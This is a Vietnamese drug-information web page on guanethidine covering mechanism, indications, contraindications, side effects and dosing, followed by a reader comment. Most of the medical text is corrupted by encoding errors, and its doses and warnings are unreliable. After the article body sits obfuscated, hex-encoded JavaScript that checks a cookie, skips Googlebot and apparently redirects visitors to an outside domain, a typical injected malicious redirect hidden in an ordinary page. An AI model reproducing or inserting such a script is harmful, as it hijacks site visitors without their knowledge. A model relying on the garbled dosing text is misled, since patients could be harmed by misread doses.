GUANETHIDIN Thuai??i??c ha?? huya??t A?p

GUANETHIDIN Thuốc hạ huyết áp

Tracuuthuoctay chia sa?i?? bAi??i via??tAi?? GUANETHIDIN Thuai??i??c ha?? huya??t A?p lAi?? gAi??? giA? thuai??i??c bao nhiA?u? chai??i?? Ai??ai??i??nh, cA?ch sai??i?? dai???ng, tA?c dai???ng phai??? thuai??i??c GUANETHIDIN.VAi??o Ai??a?i??u nhai???ng nA?m 1970, guanethidin lAi?? thuai??i??c chai??i?? ya??u dA?ng trong Ai??iai???u trai??i?? cho ng?i??ai???i bai??i??nh tA?ng huya??t A?p vai??i??a vAi?? na?i??ng vAi?? Ai??iai???u trai??i?? tA?ng huya??t A?p do tha?i??n nh?i?? viA?m tha?i??n – bai??? tha?i??n, thoA?i hA?a da??ng tinh bai??i??t ai??Y tha?i??n vAi?? ha??p Ai??ai??i??ng ma??ch tha?i??n. NgAi??y nay, Ai??A? cA? nhai???ng thuai??i??c cA? Ai??ai??i?? dung na??p tai??i??t vAi?? an toAi??n h??n guanethidin. Do va?i??y, guanethidin chai??i?? Ai???i??ai???c dA?ng cho mai??i??t sai??i?? Ai??t ng?i??ai???i bai??i??nh khA?ng dung na??p hoa?i??c khA?ng Ai??iai???u trai??i?? Ai???i??ai???c ba?i??ng cA?c thuai??i??c khA?c. Thuai??i??c dA?ng Ai??ai??? Ai??iai???u trai??i?? glA?cA?m gA?c mai??Y ma??n tAi??nh vAi?? cA?c bai??i??nh ma??t nai??i??i tia??t nh?i?? lai??i??i ma??t, liai??i??t ma??t, mi ma??t cha?i??m, co mi

GUANETHIDIN Thuai??i??c ha?? huya??t A?p

TA?n chung quai??i??c ta??: Guanethidine.

MA? ATC: C02C C02; S01E X01.

Loa??i thuai??i??c: Thuai??i??c ha?? huya??t A?p.

GiA? thuai??i??c GUANETHIDIN: BAi??nh lua?i??n cuai??i??i bAi??i via??t Ai??ai??? Ai???i??ai???c thA?ng bA?o giA?ai???

Da??ng thuai??i??c vAi?? hAi??m l?i??ai???ng

ViA?n nAi??n 10 mg, 25 mg (da??ng guanethidin monosulfat).

ai???ng tiA?m: 10 mg/ml (da??ng guanethidin monosulfat). Dung dai??i??ch nhai??? ma??t 5%, 10 ml.

D?i??ai???c lA? vAi?? c?? cha?? tA?c dai???ng

  • Guanethidin lAi?? thuai??i??c ai??i??c cha?? tha?i??n kinh giao ca??m ngoa??i vi sau ha??ch, do Ai??A? gA?y ha?? huya??t A?p vAi?? lAi??m kiai??i??t nguai??i??n vAi?? ai??i??c cha?? tA?i ta??o noradrenalin ai??Y cuai??i??i dA?y tha?i??n kinh sau ha??ch. Guanethidin khA?ng qua hAi??ng rAi??o mA?u nA?o nA?n khA?ng cA? tA?c dai???ng trA?n hai??i?? tha?i??n kinh trung ?i????ng. Guanethidin khA?ng cA? tA?c dai???ng trA?n hai??i?? tha?i??n kinh Ai??ai??i??i giao ca??m. Thai???i gian ba??t Ai??a?i??u cA? tA?c dai???ng cai??i??a guanethidin th?i??ai???ng cha?i??m, thA?ng th?i??ai???ng pha??i sau khi uai??i??ng thuai??i??c 2 – 3 ngAi??y mai??i??i cA? tA?c dai???ng ha?? huya??t A?p tai??i??i Ai??a vAi?? tA?c dai???ng ha?? huya??t A?p cA? thai??? kAi??o dAi??i tai??i??i 10 ngAi??y. Hiai??i??n nay, guanethidin Ai??t Ai???i??ai???c dA?ng vAi?? dung na??p kAi??m vAi?? vAi?? cA? nhiai???u loa??i thuai??i??c khA?c. Thuai??i??c chai??i?? dA?ng cho nhai???ng ng?i??ai???i bai??i??nh khA?ng dung na??p hoa?i??c khA?ng Ai??iai???u trai??i?? Ai???i??ai???c ba?i??ng cA?c thuai??i??c khA?c. Thuai??i??c cA? chai??i??ng chai??i?? Ai??ai??i??nh cho ng?i??ai???i bai??i??nh bai??i?? u ta?? bAi??o ?i??a crom (u tai??i??y th?i??ai???ng tha?i??n) vAi?? suy tim sung huya??t rAi?? khA?ng do tA?ng huya??t A?p.
  • Guanethidin cA?n cA? tA?c dai???ng tA?ng nhu Ai??ai??i??ng da?? dAi??y – ruai??i??t vAi?? gA?y tA? nha??. Nhai??? ta??i chai??i?? vAi??o ma??t guanethidin gA?y co Ai??ai??i??ng tai??i??, sa mi vAi?? gia??m A?p sua??t nai??i??i nhA?n.

D?i??ai???c Ai??ai??i??ng hai???c

Sai??i?? ha??p thu guanethidin thay Ai??ai??i??i nhiai???u tA?y tai??i??ng ng?i??ai???i bai??i??nh, th?i??ai???ng tai??i?? 3 – 30% liai???u uai??i??ng vAi??o Ai???i??ai???c vA?ng tua?i??n hoAi??n chung. Sau khi ha??p thu, thuai??i??c phA?n bai??i?? rai??i??ng kha??p cA?c mA? vAi?? va?i??n chuyai???n nhanh tai??i??i n??i tA?c dai???ng ta??i ta?? bAi??o tha?i??n kinh, sau Ai??A? tha??i trai??i?? vai??i??i nai??i??a Ai??ai???i tha??i trai??i?? lAi?? 5 ngAi??y. VAi?? thuai??i??c cA? nai??i??a Ai??ai???i dAi??i nA?n chai??i?? ca?i??n uai??i??ng thuai??i??c 1 la?i??n/ ngAi??y, liai???u nha??c la??i hAi??ng ngAi??y sa?? tAi??ch tai??? trong Ai??t nha??t 2 tua?i??n. Thuai??i??c khA?ng liA?n ka??t vai??i??i protein huya??t thanh. CA? thai??? ch?i??a cA? Ai??A?p ai??i??ng ha?? huya??t A?p tai??i??i Ai??a trong vA?ng 1 – 3 tua?i??n sau khi ba??t Ai??a?i??u hoa?i??c thay Ai??ai??i??i liai???u. Khi ngai??i??ng thuai??i??c, huya??t A?p giai??? ai??Y mai??i??c gia??m trong 3 – 4 ngAi??y sau Ai??A?, rai??i??i da?i??n trai??Y vai??? mai??i??c tr?i??ai??i??c khi Ai??iai???u trai??i?? sau 1 – 3 tua?i??n. Guanethidin Ai???i??ai???c chuyai???n hA?a thAi??nh cA?c cha??t khA?ng hoa??t tAi??nh, bAi??i tia??t qua n?i??ai??i??c tiai???u d?i??ai??i??i da??ng cha??t chuyai???n hA?a vAi?? khoa??ng 6,4% d?i??ai??i??i da??ng khA?ng Ai??ai??i??i.

Chai??i?? Ai??ai??i??nh THUai???CAi??GUANETHIDIN

  • VAi??o Ai??a?i??u nhai???ng nA?m 1970, guanethidin lAi?? thuai??i??c chai??i?? ya??u dA?ng trong Ai??iai???u trai??i?? cho ng?i??ai???i bai??i??nh tA?ng huya??t A?p vai??i??a vAi?? na?i??ng vAi?? Ai??iai???u trai??i?? tA?ng huya??t A?p do tha?i??n nh?i?? viA?m tha?i??n – bai??? tha?i??n, thoA?i hA?a da??ng tinh bai??i??t ai??Y tha?i??n vAi?? ha??p Ai??ai??i??ng ma??ch tha?i??n.
  • NgAi??y nay, Ai??A? cA? nhai???ng thuai??i??c cA? Ai??ai??i?? dung na??p tai??i??t vAi?? an toAi??n h??n guanethidin. Do va?i??y, guanethidin chai??i?? Ai???i??ai???c dA?ng cho mai??i??t sai??i?? Ai??t ng?i??ai???i bai??i??nh khA?ng dung na??p hoa?i??c khA?ng Ai??iai???u trai??i?? Ai???i??ai???c ba?i??ng cA?c thuai??i??c khA?c. Thuai??i??c dA?ng Ai??ai??? Ai??iai???u trai??i?? glA?cA?m gA?c mai??Y ma??n tAi??nh vAi?? cA?c bai??i??nh ma??t nai??i??i tia??t nh?i?? lai??i??i ma??t, liai??i??t ma??t, mi ma??t cha?i??m, co mi.

Chai??i??ng chai??i?? Ai??ai??i??nh

  • Ng?i??ai???i bai??i?? u ta?? bAi??o ?i??a crom (u tai??i??y th?i??ai???ng tha?i??n) vAi?? ng?i??ai???i bai??i??nh tr?i??ai??i??c Ai??A?y Ai??A? Ai??iai???u trai??i?? ba?i??ng cA?c thuai??i??c ai??i??c cha?? monoamin oxidase (IMAO).
  • QuA? ma?i??n vai??i??i guanethidin vAi?? cA?c da?i??n cha??t.
  • Suy tim sung huya??t rAi?? khA?ng pha??i do tA?ng huya??t A?p.
  • Suy tha?i??n (Ai??ai??i?? thanh tha??i creatinin 10 – 40 ml/phA?t).

Tha?i??n trai???ng

  • Tha?i??n trai???ng vai??i??i tr?i??ai???ng hai???p suy tha?i??n vai??i??a (Ai??ai??i?? thanh tha??i creatinin 41 – 60 ml/ phA?t) hoa?i??c bai??i?? x?? cai??i??ng ma??ch vAi??nh hay nA?o, hoa?i??c ha?? huya??t A?p Ai??ai??i??t ngai??i??t.
  • Ng?i??ai???i bai??i??nh hen hoa?i??c cA? tiai???n sai??i?? loAi??t Ai???i??ai???ng tiA?u hA?a.

Thai???i kai??? mang thai

KhA?ng nA?n dA?ng thuai??i??c nAi??y cho phai??? nai??? cA? thai ai??Y 3 thA?ng Ai??a?i??u vAi?? Ai??t nha??t 2 tua?i??n tr?i??ai??i??c khi sinh hoa?i??c khi Ai??a?i??, vAi?? thuai??i??c cA? thai??? gA?y ta??c ruai??i??t liai??i??t ai??Y tra?i?? s?? sinh.

Thai???i kai??? cho con bA?

Vai??i??i liai???u Ai??iai???u trai??i??, guanethidin bAi??i tia??t mai??i??t l?i??ai???ng ra??t nhai??? qua sai???a, nA?n tA?c

dai???ng khA?ng Ai??A?ng kai??? trA?n tra?i?? s?? sinh.

TA?c dai???ng khA?ng mong muai??i??n (ADR)

Th?i??ai???ng ga?i??p, ADR > 1/100

Tim ma??ch: Ha?? huya??t A?p t?i?? tha?? hoa?i??c sau luyai??i??n ta?i??p (biai???u hiai??i??n nh?i?? ya??u, mai??i??t mai???i, chA?ng ma?i??t, nga??t); phA? vAi?? tA?ng cA?n; thai??i??nh thoa??ng suy tim sung huya??t.

TiA?u hA?a: TA?ng nhu Ai??ai??i??ng ruai??i??t vAi?? ai??i??a cha??y na?i??ng.

Niai??i??u ai??i?? sinh dai???c: ai???c cha?? xua??t tinh, Ai??A?i Ai??A?m.

A?t ga?i??p, 1/1000 < ADR < 1/100

ToAi??n thA?n: Mai???i mai??i??t.

TiA?u hA?a: ChA?n A?n, buai??i??n nA?n, nA?n, khA? miai??i??ng.

Da: viA?m da.

Niai??i??u – sinh dai???c: TA?ng urA? huya??t.

Hia??m ga?i??p, ADR < 1/1000

Tim ma??ch: Nhai??i??p cha?i??m hoa?i??c blA?c nA?t nhAi?? tha??t hoAi??n toAi??n.

Tha?i??n kinh: Tra?i??m ca??m.

Tha?i??n kinh – c??: A?au c??, rung c??.

H?i??ai??i??ng da?i??n cA?ch xai??i?? trAi?? ADR

  • Ngai??i??ng thuai??i??c na??u tha??y cA?c pha??n ai??i??ng phai??? xa??y ra.
  • Liai???u l?i??ai???ng vAi?? cA?ch dA?ng
  • Liai???u uai??i??ng: Uai??i??ng 1 la?i??n trong ngAi??y.
  • Ng?i??ai???i bai??i??nh ngoa??i trA?: Liai???u ba??t Ai??a?i??u, 10 mg/ngAi??y, sau tA?ng thA?m 10 – 12,5 mg/ngAi??y; cA?ch khoa??ng tai??i?? 5 – 7 ngAi??y mai??i??t la?i??n tA?ng, tA?y theo Ai??A?p ai??i??ng cai??i??a ng?i??ai???i bai??i??nh, hoa?i??c dA?ng liai???u trung bAi??nh 25 – 50 mg/ngAi??y.
  • Ng?i??ai???i bai??i??nh na?i??m viai??i??n: Liai???u ban Ai??a?i??u, 25 – 50 mg, sau tA?ng thA?m 25 – 50 mg mai??i??i ngAi??y hoa?i??c cA?ch ngAi??y. Liai???u cA? thai??? tA?ng Ai??a??n 400 mg/ngAi??y, na??u ca?i??n.
  • Tra?i?? em: Liai???u ba??t Ai??a?i??u 0,2 mg/kg/ngAi??y mai??i??t la?i??n, sau tA?ng thA?m mai??i??i la?i??n mai??i??t l?i??ai???ng ba?i??ng liai???u ban Ai??a?i??u, cA?ch nhau khoa??ng 1 – 2 tua?i??n, tA?ng Ai??a??n tai??i??i Ai??a 3 mg/kg/ngAi??y, na??u ca?i??n.
  • Ng?i??ai???i cao tuai??i??i: 5 mg mai??i??t la?i??n/ngAi??y.

TiA?m ba??p:

  • A?ai??? Ai??iai???u trai??i?? c??n tA?ng huya??t A?p (kai??? ca?? nhiai??i??m Ai??ai??i??c thai nghAi??n): TiA?m mai??i??t la?i??n 10 – 20 mg, thuai??i??c th?i??ai???ng gA?y ha?? huya??t A?p trong vA?ng 30 phA?t, Ai??a??t tA?c dai???ng tai??i??i Ai??a sau 1 – 2 giai??? vAi?? duy trAi?? Ai???i??ai???c trong 4 – 6 giai???. Na??u ca?i??n cA? Ai??thai??? tiA?m thA?m mai??i??t liai???u 10 – 20 mg nai???a, cA?ch sau liai???u tr?i??ai??i??c 3 giai???.
  • ChA? A?: Ca?i??n dA?ng thuai??i??c theo Ai??A?ng h?i??ai??i??ng da?i??n. Na??u quA?n dA?ng thuai??i??c, chai??i?? dA?ng liai???u tia??p, khA?ng uai??i??ng bA? (ga??p Ai??A?i liai???u). TrA?nh Ai??ai??i??ng lA?u hoa?i??c Ai??ai??i??ng lA?n Ai??ai??i??t ngai??i??t, Ai??a?i??c biai??i??t buai??i??i sA?ng. TrA?nh dA?ng r?i??ai???u Ai??ai??? gia??m nguy c?? tai???t huya??t A?p Ai??ai??i??t ngai??i??t. TrA?nh dA?ng nhai???ng thuai??i??c khA?ng ca?i??n Ai????n cA? chai??i??a ephedrin, phenylpropanolamin hoa?i??c pseudoephedrin.
  • A?ai??i??i vai??i??i ng?i??ai???i bai??i??nh suy tha?i??n cA? Ai??ai??i?? thanh lai???c creatinin < 10 ml/phA?t, ca?i??n dA?ng thuai??i??c cA?ch nhau 24 – 36 giai???.
  • DA?ng trong nhA?n khoa: A?ai??? Ai??iai???u trai??i?? glA?cA?m gA?c mai??Y ma??n tAi??nh hoa?i??c ma??t lai??i??i nai??i??i tia??t, nhai??? dung dai??i??ch tra ma??t 5% 1 hoa?i??c 2 giai???t vAi??o mai??i??i ma??t, ngAi??y nhai??? 2 hoa?i??c 4 la?i??n.

T?i????ng tA?c thuai??i??c

  • DA?ng guanethidin cho ng?i??ai???i bai??i??nh tr?i??ai??i??c Ai??A? cA? Ai??iai???u trai??i?? ba?i??ng cA?c thuai??i??c ai??i??c cha?? monoamin oxydase cA? thai??? lAi??m gia??i phA?ng mai??i??t l?i??ai???ng lai??i??n catecholamin gA?y c??n tA?ng huya??t A?p nguy hiai???m. Do va?i??y, chai??i??ng chai??i?? Ai??ai??i??nh dA?ng Ai??ai??i??ng thai???i hoa?i??c pha??i ngai??i??ng thuai??i??c ai??i??c cha?? monoamin oxydase Ai??t nha??t 14 ngAi??y tr?i??ai??i??c khi ba??t Ai??a?i??u Ai??iai???u trai??i?? ba?i??ng guanethidin.
  • DA?ng Ai??ai??i??ng thai???i guanethidin vai??i??i cA?c thuai??i??c chai??i??ng loa??n nhai??i??p vAi?? digitalis cA? thai??? gA?y nhai??i??p tim cha?i??m xoang.
  • TA?c dai???ng ha?? huya??t A?p cai??i??a guanethidin cA? thai??? tA?ng lA?n bai??Yi cA?c thuai??i??c ha?? huya??t A?p khA?c nh?i?? reserpin, methyldopa, cA?c thuai??i??c giA?n ma??ch (Ai??a?i??c biai??i??t minoxidil), cA?c thuai??i??c cha??n kA?nh calci, cA?c thuai??i??c cha??n beta hoa?i??c cA?c thuai??i??c ai??i??c cha?? men chuyai???n Ai??ai??i??i angiotensin vAi?? r?i??ai???u.
  • TA?c dai???ng ha?? huya??t A?p cai??i??a thuai??i??c bai??i?? gia??m bai??Yi clorpromazin, da?i??n cha??t phenothiazin, cA?c thuai??i??c chai??i??ng tra?i??m ca??m ba vA?ng, cA?c thuai??i??c ngai??i??a thai Ai???i??ai???ng uai??i??ng.

A?ai??i?? ai??i??n Ai??ai??i??nh vAi?? ba??o qua??n

TrA?nh a?i??m, trA?nh A?nh sA?ng. Ba??o qua??n ai??Y nhiai??i??t Ai??ai??i?? tai??i?? 15 – 300C.

QuA? liai???u vAi?? xai??i?? trAi??

  • Triai??i??u chai??i??ng: Ha?? huya??t A?p t?i?? tha?? cA? thai??? gA?y nga??t, nhai??i??p tim cha?i??m xoang, mai??i??t mai???i, chA?ng ma?i??t, nhAi??n mai???, ya??u c??, buai??i??n nA?n, nA?n, ai??i??a cha??y na?i??ng vAi?? thiai???u niai??i??u.
  • A?iai???u trai??i??: A?a?i??u tiA?n gA?y nA?n hoa?i??c rai??i??a da?? dAi??y vAi?? dA?ng than hoa??t Ai??ai??? gia??m ha??p thu.
  • CA? thai??? kha??c phai???c ha?? huya??t A?p t?i?? tha?? ba?i??ng cA?ch Ai??ai??? ng?i??ai???i bai??i??nh na?i??m, truyai???n dai??i??ch vAi?? cha??t Ai??iai??i??n gia??i vAi?? na??u ca?i??n, tha?i??n trai???ng cho dA?ng thuai??i??c tA?ng huya??t A?p. CA? thai??? Ai??iai???u trai??i?? nhai??i??p tim cha?i??m xoang ba?i??ng atropin, Ai??iai???u trai??i?? ai??i??a cha??y ba?i??ng thuai??i??c chai??i??ng cholinergic.

ThA?ng tin qui cha??

Thuai??i??c pha??i Ai???i??ai???c kA? Ai????n vAi?? bA?n theo Ai????n da??ng tiA?m.

Nguai??i??n d?i??ai???c th?i?? quai??i??c gia

Tham kha??o hAi??nh a??nh cA?c dA?ng thuai??i??c GUANETHIDIN Thuai??i??c ha?? huya??t A?p

GUANETHIDIN Thuai??i??c ha?? huya??t A?p

Vui lA?ng Ai??a?i??t cA?u hai???i vai??? bAi??i via??t GUANETHIDIN Thuai??i??c ha?? huya??t A?pAi??chA?ng tA?i sa?? tra?? lai???i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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One thought on “GUANETHIDIN Thuai??i??c ha?? huya??t A?p

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết  GUANETHIDIN Thuốc hạ huyết áp là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc GUANETHIDIN.Vào đầu những năm 1970, guanethidin là thuốc chủ yếu dùng trong điều trị cho người bệnh tăng huyết áp vừa và nặng và điều trị tăng huyết áp do thận như viêm thận – bể thận, thoái hóa dạng tinh bột ở thận và hẹp động mạch thận. Ngày nay, đã có những thuốc có độ dung nạp tốt và an toàn hơn guanethidin. Do vậy, guanethidin chỉ được dùng cho một số ít người bệnh không dung nạp hoặc không điều trị được bằng các thuốc khác. Thuốc dùng để điều trị glôcôm góc mở mạn tính và các bệnh mắt nội tiết như lồi mắt, liệt mắt, mi mắt chậm, co mi
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